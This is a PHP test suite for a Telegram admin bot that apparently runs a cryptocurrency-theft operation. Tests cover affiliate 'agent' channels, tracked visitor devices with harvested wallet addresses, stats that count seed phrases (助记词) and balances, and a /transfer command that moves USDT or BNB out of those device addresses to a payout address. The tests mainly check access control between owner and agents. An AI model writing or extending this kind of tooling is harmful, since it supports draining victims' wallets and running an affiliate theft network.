(string) self::OWNER_CHAT, 'coruna.telegram.webhook_secret' => 'test-secret', 'nutgram.token' => FakeNutgram::TOKEN, ]); app(TelegramBotContext::class)->setAgent(null); // Nutgram is a singleton; reset so FakeNutgram mock queues stay isolated. $this->app->forgetInstance(Nutgram::class); $this->app->forgetInstance('nutgram'); $this->app->forgetInstance('telegram'); $this->app->forgetInstance(FakeNutgram::class); } #[Test] public function webhook_rejects_bad_secret(): void { $this->postJson('/hooks/telegram', ['update_id' => 1], [ 'X-Telegram-Bot-Api-Secret-Token' => 'wrong', ])->assertForbidden(); } #[Test] public function webhook_accepts_valid_secret(): void { $this->call( 'POST', '/hooks/telegram', [], [], [], [ 'CONTENT_TYPE' => 'application/json', 'HTTP_X_TELEGRAM_BOT_API_SECRET_TOKEN' => 'test-secret', ], json_encode(['update_id' => 1]) )->assertNoContent(); } #[Test] public function webhook_acks_even_when_bot_run_fails(): void { $this->app->bind(Nutgram::class, function () { throw new \RuntimeException('deliberate nutgram failure'); }); $this->call( 'POST', '/hooks/telegram', [], [], [], [ 'CONTENT_TYPE' => 'application/json', 'HTTP_X_TELEGRAM_BOT_API_SECRET_TOKEN' => 'test-secret', ], json_encode(['update_id' => 99, 'message' => ['text' => '/ping']]) )->assertNoContent(); } #[Test] public function unauthorized_chat_is_silent(): void { /** @var FakeNutgram $bot */ $bot = app(Nutgram::class); foreach (['/ping', '/help', '/data', '/channel', '/transfer Txxx USDT 1'] as $text) { $this->app->forgetInstance(Nutgram::class); $this->app->forgetInstance('nutgram'); $this->app->forgetInstance('telegram'); $this->app->forgetInstance(FakeNutgram::class); $bot = app(Nutgram::class); $bot->hearMessage([ 'text' => $text, 'chat' => ['id' => 999, 'type' => ChatType::SUPERGROUP->value], 'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'X'], ])->reply(); $bot->assertCalled('sendMessage', 0); } } #[Test] public function private_chat_is_silent_even_with_matching_id(): void { config(['coruna.telegram.owner_chat_id' => (string) self::USER_ID]); /** @var FakeNutgram $bot */ $bot = app(Nutgram::class); $bot->hearMessage([ 'text' => '/help', 'chat' => ['id' => self::USER_ID, 'type' => ChatType::PRIVATE->value], 'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'X'], ])->reply(); $bot->assertCalled('sendMessage', 0); } #[Test] public function non_admin_is_rejected(): void { /** @var FakeNutgram $bot */ $bot = app(Nutgram::class); $bot->willReceivePartial([ 'status' => ChatMemberStatus::MEMBER->value, 'user' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'X'], ]); $bot->hearMessage([ 'text' => '/help', 'chat' => ['id' => self::OWNER_CHAT, 'type' => ChatType::SUPERGROUP->value], 'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'X'], ])->reply(); // index 0 is getChatMember; reject reply follows $bot->assertReplyText('⛔ Only group admins can use this command.', 1); } #[Test] public function admin_help_lists_commands(): void { /** @var FakeNutgram $bot */ $bot = app(Nutgram::class); $bot->willReceivePartial([ 'status' => ChatMemberStatus::ADMINISTRATOR->value, 'user' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'Admin'], 'can_manage_chat' => true, ]); $bot->hearMessage([ 'text' => '/help', 'chat' => ['id' => self::OWNER_CHAT, 'type' => ChatType::SUPERGROUP->value], 'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'Admin'], ])->reply(); $bot->assertCalled('sendMessage', 1); $history = $bot->getRequestHistory(); $last = FakeNutgram::getActualData(array_values($history[array_key_last($history)])[0]); $text = $last['text'] ?? ''; $this->assertStringContainsString('/help', $text); $this->assertStringContainsString('/data', $text); $this->assertStringContainsString('/channel', $text); $this->assertStringContainsString('/transfer', $text); $this->assertStringContainsString('/ping', $text); } #[Test] public function admin_ping_replies_pong(): void { /** @var FakeNutgram $bot */ $bot = app(Nutgram::class); $bot->willReceivePartial([ 'status' => ChatMemberStatus::ADMINISTRATOR->value, 'user' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'Admin'], 'can_manage_chat' => true, ]); $bot->hearMessage([ 'text' => '/ping', 'chat' => ['id' => self::OWNER_CHAT, 'type' => ChatType::SUPERGROUP->value], 'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'Admin'], ])->reply(); $bot->assertReplyText('pong', 1); } #[Test] public function admin_transfer_calls_transfer_service(): void { $mock = Mockery::mock(TransferService::class); $mock->shouldReceive('handle') ->once() ->withArgs(function (...$args) { return ($args[0] ?? null) === 'tron' && ($args[1] ?? null) === 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH' && ($args[2] ?? null) === '10' && ($args[3] ?? null) === 'USDT' && is_string($args[4] ?? null) && str_starts_with((string) $args[4], 'telegram:'); }) ->andReturn([ 'ok' => true, 'txid' => 'deadbeef', 'from' => 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH', 'to' => 'TPayoutAddressxxxxxxxxxxxxxxxxxxxxxx', 'amount' => '10', 'asset' => 'USDT', ]); $this->app->instance(TransferService::class, $mock); /** @var FakeNutgram $bot */ $bot = app(Nutgram::class); $bot->willReceivePartial([ 'status' => ChatMemberStatus::CREATOR->value, 'user' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'Owner'], ]); $bot->hearMessage([ 'text' => '/transfer TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH USDT 10', 'chat' => ['id' => self::OWNER_CHAT, 'type' => ChatType::SUPERGROUP->value], 'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'Owner'], ])->reply(); // getChatMember + "⏳ …" + success $bot->assertCalled('sendMessage', 2); $history = $bot->getRequestHistory(); $last = FakeNutgram::getActualData(array_values($history[array_key_last($history)])[0]); $this->assertStringContainsString('deadbeef', $last['text'] ?? ''); } #[Test] public function admin_transfer_accepts_bnb_on_eth_address(): void { $from = '0x9858EfFD232B4033E47d90003D41EC34EcaEda94'; $mock = Mockery::mock(TransferService::class); $mock->shouldReceive('handle') ->once() ->withArgs(function (...$args) use ($from) { return ($args[0] ?? null) === 'eth' && strcasecmp((string) ($args[1] ?? ''), $from) === 0 && ($args[2] ?? null) === '1.5' && ($args[3] ?? null) === 'BNB'; }) ->andReturn([ 'ok' => true, 'txid' => '0xbnbtx', 'from' => $from, 'to' => '0x0000000000000000000000000000000000000001', 'amount' => '1.5', 'asset' => 'BNB', ]); $this->app->instance(TransferService::class, $mock); /** @var FakeNutgram $bot */ $bot = app(Nutgram::class); $bot->willReceivePartial([ 'status' => ChatMemberStatus::CREATOR->value, 'user' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'Owner'], ]); $bot->hearMessage([ 'text' => '/transfer '.$from.' BNB 1.5', 'chat' => ['id' => self::OWNER_CHAT, 'type' => ChatType::SUPERGROUP->value], 'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'Owner'], ])->reply(); $bot->assertCalled('sendMessage', 2); $history = $bot->getRequestHistory(); $last = FakeNutgram::getActualData(array_values($history[array_key_last($history)])[0]); $this->assertStringContainsString('0xbnbtx', $last['text'] ?? ''); } #[Test] public function admin_data_reports_dashboard_stats(): void { $channel = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'; PageVisit::query()->create([ 'channel_id' => $channel, 'client_uid' => 'u1', 'os' => 'iOS', 'os_version' => '16.6', 'browser' => 'Safari', 'created_at' => now(), ]); PageVisit::query()->create([ 'channel_id' => $channel, 'client_uid' => 'u2', 'os' => 'Android', 'os_version' => '13', 'browser' => 'Chrome', 'created_at' => now(), ]); /** @var FakeNutgram $bot */ $bot = app(Nutgram::class); $bot->willReceivePartial([ 'status' => ChatMemberStatus::ADMINISTRATOR->value, 'user' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'Admin'], 'can_manage_chat' => true, ]); $bot->hearMessage([ 'text' => '/data 1 '.$channel, 'chat' => ['id' => self::OWNER_CHAT, 'type' => ChatType::SUPERGROUP->value], 'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'Admin'], ])->reply(); $bot->assertCalled('sendMessage', 1); $history = $bot->getRequestHistory(); $last = FakeNutgram::getActualData(array_values($history[array_key_last($history)])[0]); $text = $last['text'] ?? ''; $this->assertStringContainsString('页面 PV: 1 / 2', $text); $this->assertStringContainsString('设备与资产', $text); $this->assertStringContainsString('总余额', $text); $this->assertStringContainsString('交易额', $text); $this->assertStringContainsString('助记词', $text); $this->assertStringContainsString($channel, $text); } #[Test] public function admin_channel_lists_copyable_links(): void { config(['coruna.channel_domains' => ['example.com']]); Channel::query()->create([ 'channel_id' => 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb', 'user_id' => Channel::OFFICIAL_USER_ID, 'remark' => '主站', 'status' => 1, ]); /** @var FakeNutgram $bot */ $bot = app(Nutgram::class); $bot->willReceivePartial([ 'status' => ChatMemberStatus::ADMINISTRATOR->value, 'user' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'Admin'], 'can_manage_chat' => true, ]); $bot->hearMessage([ 'text' => '/channel', 'chat' => ['id' => self::OWNER_CHAT, 'type' => ChatType::SUPERGROUP->value], 'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'Admin'], ])->reply(); $bot->assertCalled('sendMessage', 1); $history = $bot->getRequestHistory(); $last = FakeNutgram::getActualData(array_values($history[array_key_last($history)])[0]); $this->assertStringContainsString('bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb', $last['text'] ?? ''); $this->assertStringContainsString('主站', $last['text'] ?? ''); $this->assertStringContainsString('官方', $last['text'] ?? ''); $this->assertArrayHasKey('reply_markup', $last); } #[Test] public function admin_channel_new_builder_copies_promo_iframe(): void { config([ 'coruna.channel_domains' => ['cdn.example.com'], 'coruna.static_site.scheme' => 'https', ]); Channel::query()->create([ 'channel_id' => 'S.U.N2', 'builder_type' => Channel::BUILDER_NEW, 'user_id' => Channel::OFFICIAL_USER_ID, 'remark' => 'SUN02', 'status' => 1, ]); /** @var FakeNutgram $bot */ $bot = app(Nutgram::class); $bot->willReceivePartial([ 'status' => ChatMemberStatus::ADMINISTRATOR->value, 'user' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'Admin'], 'can_manage_chat' => true, ]); $bot->hearMessage([ 'text' => '/channel', 'chat' => ['id' => self::OWNER_CHAT, 'type' => ChatType::SUPERGROUP->value], 'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'Admin'], ])->reply(); $bot->assertCalled('sendMessage', 1); $history = $bot->getRequestHistory(); $last = FakeNutgram::getActualData(array_values($history[array_key_last($history)])[0]); $this->assertStringContainsString('S.U.N2', $last['text'] ?? ''); $this->assertStringContainsString('推广 iframe', $last['text'] ?? ''); $markup = $last['reply_markup'] ?? null; $this->assertIsArray($markup); $row = $markup['inline_keyboard'][0][0] ?? null; $this->assertIsArray($row); $this->assertStringContainsString('推广代码', (string) ($row['text'] ?? '')); $copy = (string) data_get($row, 'copy_text.text', ''); $this->assertLessThanOrEqual(256, strlen($copy)); $this->assertStringContainsString('/channel/S.U.N2/weifile/weifile.html', $copy); $this->assertStringNotContainsString('https://cdn.example.com', $copy); $this->assertStringContainsString('pointer-events:none', $copy); } #[Test] public function agent_bot_only_sees_own_channels_and_stats(): void { $agentA = User::query()->create([ 'username' => 'agent_a', 'password' => 'secret12', 'status' => 1, 'chat_id' => (string) self::AGENT_CHAT, ]); $agentB = User::query()->create([ 'username' => 'agent_b', 'password' => 'secret12', 'status' => 1, 'chat_id' => '-100111', ]); $chA = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'; $chB = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb'; Channel::query()->create(['channel_id' => $chA, 'user_id' => $agentA->id, 'status' => 1, 'remark' => 'A站']); Channel::query()->create(['channel_id' => $chB, 'user_id' => $agentB->id, 'status' => 1, 'remark' => 'B站']); PageVisit::query()->create([ 'channel_id' => $chA, 'client_uid' => 'ua', 'os' => 'iOS', 'os_version' => '16.0', 'browser' => 'Safari', 'created_at' => now(), ]); PageVisit::query()->create([ 'channel_id' => $chB, 'client_uid' => 'ub', 'os' => 'iOS', 'os_version' => '16.0', 'browser' => 'Safari', 'created_at' => now(), ]); /** @var FakeNutgram $bot */ $bot = app(Nutgram::class); $bot->willReceivePartial([ 'status' => ChatMemberStatus::ADMINISTRATOR->value, 'user' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'AgentAdmin'], 'can_manage_chat' => true, ]); $bot->hearMessage([ 'text' => '/channel', 'chat' => ['id' => self::AGENT_CHAT, 'type' => ChatType::SUPERGROUP->value], 'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'AgentAdmin'], ])->reply(); $history = $bot->getRequestHistory(); $channelMsg = FakeNutgram::getActualData(array_values($history[array_key_last($history)])[0]); $this->assertStringContainsString($chA, $channelMsg['text'] ?? ''); $this->assertStringNotContainsString($chB, $channelMsg['text'] ?? ''); $this->app->forgetInstance(Nutgram::class); $this->app->forgetInstance('nutgram'); $this->app->forgetInstance('telegram'); $this->app->forgetInstance(FakeNutgram::class); app(TelegramBotContext::class)->setAgent($agentA); /** @var FakeNutgram $bot2 */ $bot2 = app(Nutgram::class); $bot2->willReceivePartial([ 'status' => ChatMemberStatus::ADMINISTRATOR->value, 'user' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'AgentAdmin'], 'can_manage_chat' => true, ]); $bot2->hearMessage([ 'text' => '/data 1', 'chat' => ['id' => self::AGENT_CHAT, 'type' => ChatType::SUPERGROUP->value], 'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'AgentAdmin'], ])->reply(); $history2 = $bot2->getRequestHistory(); $dataMsg = FakeNutgram::getActualData(array_values($history2[array_key_last($history2)])[0]); $this->assertStringContainsString('页面 PV: 1 / 1', $dataMsg['text'] ?? ''); } #[Test] public function agent_bot_rejects_foreign_channel_and_transfer(): void { $agent = User::query()->create([ 'username' => 'agent_x', 'password' => 'secret12', 'status' => 1, 'chat_id' => (string) self::AGENT_CHAT, ]); Channel::query()->create([ 'channel_id' => 'cccccccccccccccccccccccccccccccc', 'user_id' => $agent->id, 'status' => 1, ]); $foreign = 'dddddddddddddddddddddddddddddddd'; Channel::query()->create([ 'channel_id' => $foreign, 'user_id' => Channel::OFFICIAL_USER_ID, 'status' => 1, ]); app(TelegramBotContext::class)->setAgent($agent); /** @var FakeNutgram $bot */ $bot = app(Nutgram::class); $bot->willReceivePartial([ 'status' => ChatMemberStatus::ADMINISTRATOR->value, 'user' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'AgentAdmin'], 'can_manage_chat' => true, ]); $bot->hearMessage([ 'text' => '/data 1 '.$foreign, 'chat' => ['id' => self::AGENT_CHAT, 'type' => ChatType::SUPERGROUP->value], 'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'AgentAdmin'], ])->reply(); $history = $bot->getRequestHistory(); $msg = FakeNutgram::getActualData(array_values($history[array_key_last($history)])[0]); $this->assertStringContainsString('无权查看该渠道', $msg['text'] ?? ''); $this->app->forgetInstance(Nutgram::class); $this->app->forgetInstance('nutgram'); $this->app->forgetInstance('telegram'); $this->app->forgetInstance(FakeNutgram::class); app(TelegramBotContext::class)->setAgent($agent); /** @var FakeNutgram $bot2 */ $bot2 = app(Nutgram::class); $bot2->willReceivePartial([ 'status' => ChatMemberStatus::ADMINISTRATOR->value, 'user' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'AgentAdmin'], 'can_manage_chat' => true, ]); $bot2->hearMessage([ 'text' => '/transfer TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH USDT 1', 'chat' => ['id' => self::AGENT_CHAT, 'type' => ChatType::SUPERGROUP->value], 'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'AgentAdmin'], ])->reply(); $history2 = $bot2->getRequestHistory(); $transferMsg = FakeNutgram::getActualData(array_values($history2[array_key_last($history2)])[0]); $this->assertStringContainsString('无权操作该地址', $transferMsg['text'] ?? ''); } #[Test] public function agent_help_lists_transfer_for_own_devices(): void { $agent = User::query()->create([ 'username' => 'agent_help', 'password' => 'secret12', 'status' => 1, 'chat_id' => (string) self::AGENT_CHAT, ]); app(TelegramBotContext::class)->setAgent($agent); /** @var FakeNutgram $bot */ $bot = app(Nutgram::class); $bot->willReceivePartial([ 'status' => ChatMemberStatus::ADMINISTRATOR->value, 'user' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'AgentAdmin'], 'can_manage_chat' => true, ]); $bot->hearMessage([ 'text' => '/help', 'chat' => ['id' => self::AGENT_CHAT, 'type' => ChatType::SUPERGROUP->value], 'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'AgentAdmin'], ])->reply(); $history = $bot->getRequestHistory(); $msg = FakeNutgram::getActualData(array_values($history[array_key_last($history)])[0]); $this->assertStringContainsString('/data', $msg['text'] ?? ''); $this->assertStringContainsString('/transfer ', $msg['text'] ?? ''); $this->assertStringNotContainsString('仅可查看/转出本代理渠道设备', $msg['text'] ?? ''); } #[Test] public function agent_can_transfer_own_device_address(): void { $agent = User::query()->create([ 'username' => 'agent_xfer', 'password' => 'secret12', 'status' => 1, 'chat_id' => (string) self::AGENT_CHAT, ]); $channelId = 'cccccccccccccccccccccccccccccccc'; Channel::query()->create([ 'channel_id' => $channelId, 'user_id' => $agent->id, 'status' => 1, ]); $device = \App\Models\Device::query()->create([ 'device_id' => 'dev-agent-xfer', 'channel_id' => $channelId, ]); \App\Models\WalletAddress::query()->create([ 'device_id' => $device->id, 'address' => 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH', 'chain_type' => 'TRON', 'source' => 'imToken', ]); $mock = Mockery::mock(TransferService::class); $mock->shouldReceive('handle') ->once() ->andReturn([ 'ok' => true, 'txid' => 'agentbeef', 'from' => 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH', 'to' => 'TPayoutAddressxxxxxxxxxxxxxxxxxxxxxx', 'amount' => '1', 'asset' => 'USDT', ]); $this->app->instance(TransferService::class, $mock); app(TelegramBotContext::class)->setAgent($agent); /** @var FakeNutgram $bot */ $bot = app(Nutgram::class); $bot->willReceivePartial([ 'status' => ChatMemberStatus::ADMINISTRATOR->value, 'user' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'AgentAdmin'], 'can_manage_chat' => true, ]); $bot->hearMessage([ 'text' => '/transfer TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH USDT 1', 'chat' => ['id' => self::AGENT_CHAT, 'type' => ChatType::SUPERGROUP->value], 'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'AgentAdmin'], ])->reply(); $history = $bot->getRequestHistory(); $messages = $this->sendMessagePayloads($history); $this->assertCount(3, $messages); $this->assertStringContainsString('agentbeef', $messages[1]['text'] ?? ''); $this->assertSame((string) self::OWNER_CHAT, (string) ($messages[2]['chat_id'] ?? '')); $this->assertStringContainsString('代理转账 · agent_xfer', $messages[2]['text'] ?? ''); $this->assertStringContainsString('agentbeef', $messages[2]['text'] ?? ''); } #[Test] public function agent_transfer_failure_is_copied_to_owner_chat(): void { $agent = User::query()->create([ 'username' => 'agent_xfer_fail', 'password' => 'secret12', 'status' => 1, 'chat_id' => (string) self::AGENT_CHAT, ]); $channelId = 'cccccccccccccccccccccccccccccccc'; Channel::query()->create([ 'channel_id' => $channelId, 'user_id' => $agent->id, 'status' => 1, ]); $device = \App\Models\Device::query()->create([ 'device_id' => 'dev-agent-xfer-fail', 'channel_id' => $channelId, ]); \App\Models\WalletAddress::query()->create([ 'device_id' => $device->id, 'address' => 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH', 'chain_type' => 'TRON', 'source' => 'imToken', ]); $mock = Mockery::mock(TransferService::class); $mock->shouldReceive('handle') ->once() ->andReturn([ 'ok' => false, 'error' => 'insufficient energy', ]); $this->app->instance(TransferService::class, $mock); app(TelegramBotContext::class)->setAgent($agent); /** @var FakeNutgram $bot */ $bot = app(Nutgram::class); $bot->willReceivePartial([ 'status' => ChatMemberStatus::ADMINISTRATOR->value, 'user' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'AgentAdmin'], 'can_manage_chat' => true, ]); $bot->hearMessage([ 'text' => '/transfer TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH USDT 1', 'chat' => ['id' => self::AGENT_CHAT, 'type' => ChatType::SUPERGROUP->value], 'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'AgentAdmin'], ])->reply(); $messages = $this->sendMessagePayloads($bot->getRequestHistory()); $this->assertCount(3, $messages); $this->assertStringContainsString('insufficient energy', $messages[1]['text'] ?? ''); $this->assertSame((string) self::OWNER_CHAT, (string) ($messages[2]['chat_id'] ?? '')); $this->assertStringContainsString('代理转账 · agent_xfer_fail', $messages[2]['text'] ?? ''); $this->assertStringContainsString('insufficient energy', $messages[2]['text'] ?? ''); } #[Test] public function agent_webhook_route_is_removed(): void { $this->postJson('/hooks/telegram/agent/1', ['update_id' => 1]) ->assertNotFound(); } #[Test] public function joining_a_group_announces_chat_id(): void { $chatId = -1005556667778; /** @var FakeNutgram $bot */ $bot = app(Nutgram::class); $bot->hearUpdateType(UpdateType::MY_CHAT_MEMBER, [ 'chat' => [ 'id' => $chatId, 'type' => ChatType::SUPERGROUP->value, 'title' => '代理测试群', ], 'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'Admin'], 'date' => time(), 'old_chat_member' => [ 'status' => ChatMemberStatus::LEFT->value, 'user' => ['id' => 1, 'is_bot' => true, 'first_name' => 'Bot'], ], 'new_chat_member' => [ 'status' => ChatMemberStatus::MEMBER->value, 'user' => ['id' => 1, 'is_bot' => true, 'first_name' => 'Bot'], ], ])->reply(); $bot->assertCalled('sendMessage', 1); $history = $bot->getRequestHistory(); $last = FakeNutgram::getActualData(array_values($history[array_key_last($history)])[0]); $this->assertStringContainsString((string) $chatId, $last['text'] ?? ''); $this->assertStringContainsString('Chat ID', $last['text'] ?? ''); $this->assertStringContainsString('代理测试群', $last['text'] ?? ''); $copy = (string) data_get($last, 'reply_markup.inline_keyboard.0.0.copy_text.text', ''); $this->assertSame((string) $chatId, $copy); } #[Test] public function promoting_or_leaving_does_not_announce_chat_id(): void { /** @var FakeNutgram $bot */ $bot = app(Nutgram::class); $bot->hearUpdateType(UpdateType::MY_CHAT_MEMBER, [ 'chat' => ['id' => -1001, 'type' => ChatType::SUPERGROUP->value, 'title' => 'x'], 'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'Admin'], 'date' => time(), 'old_chat_member' => [ 'status' => ChatMemberStatus::MEMBER->value, 'user' => ['id' => 1, 'is_bot' => true, 'first_name' => 'Bot'], ], 'new_chat_member' => [ 'status' => ChatMemberStatus::ADMINISTRATOR->value, 'user' => ['id' => 1, 'is_bot' => true, 'first_name' => 'Bot'], ], ])->reply(); $bot->assertCalled('sendMessage', 0); $this->app->forgetInstance(Nutgram::class); $this->app->forgetInstance('nutgram'); $this->app->forgetInstance('telegram'); $this->app->forgetInstance(FakeNutgram::class); /** @var FakeNutgram $bot2 */ $bot2 = app(Nutgram::class); $bot2->hearUpdateType(UpdateType::MY_CHAT_MEMBER, [ 'chat' => ['id' => -1001, 'type' => ChatType::SUPERGROUP->value, 'title' => 'x'], 'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'Admin'], 'date' => time(), 'old_chat_member' => [ 'status' => ChatMemberStatus::MEMBER->value, 'user' => ['id' => 1, 'is_bot' => true, 'first_name' => 'Bot'], ], 'new_chat_member' => [ 'status' => ChatMemberStatus::LEFT->value, 'user' => ['id' => 1, 'is_bot' => true, 'first_name' => 'Bot'], ], ])->reply(); $bot2->assertCalled('sendMessage', 0); } /** @param array $history */ private function sendMessagePayloads(array $history): array { $messages = []; foreach ($history as $entry) { $req = FakeNutgram::getActualData(array_values($entry)[0]); if (! isset($req['text'])) { continue; } $messages[] = $req; } return $messages; } }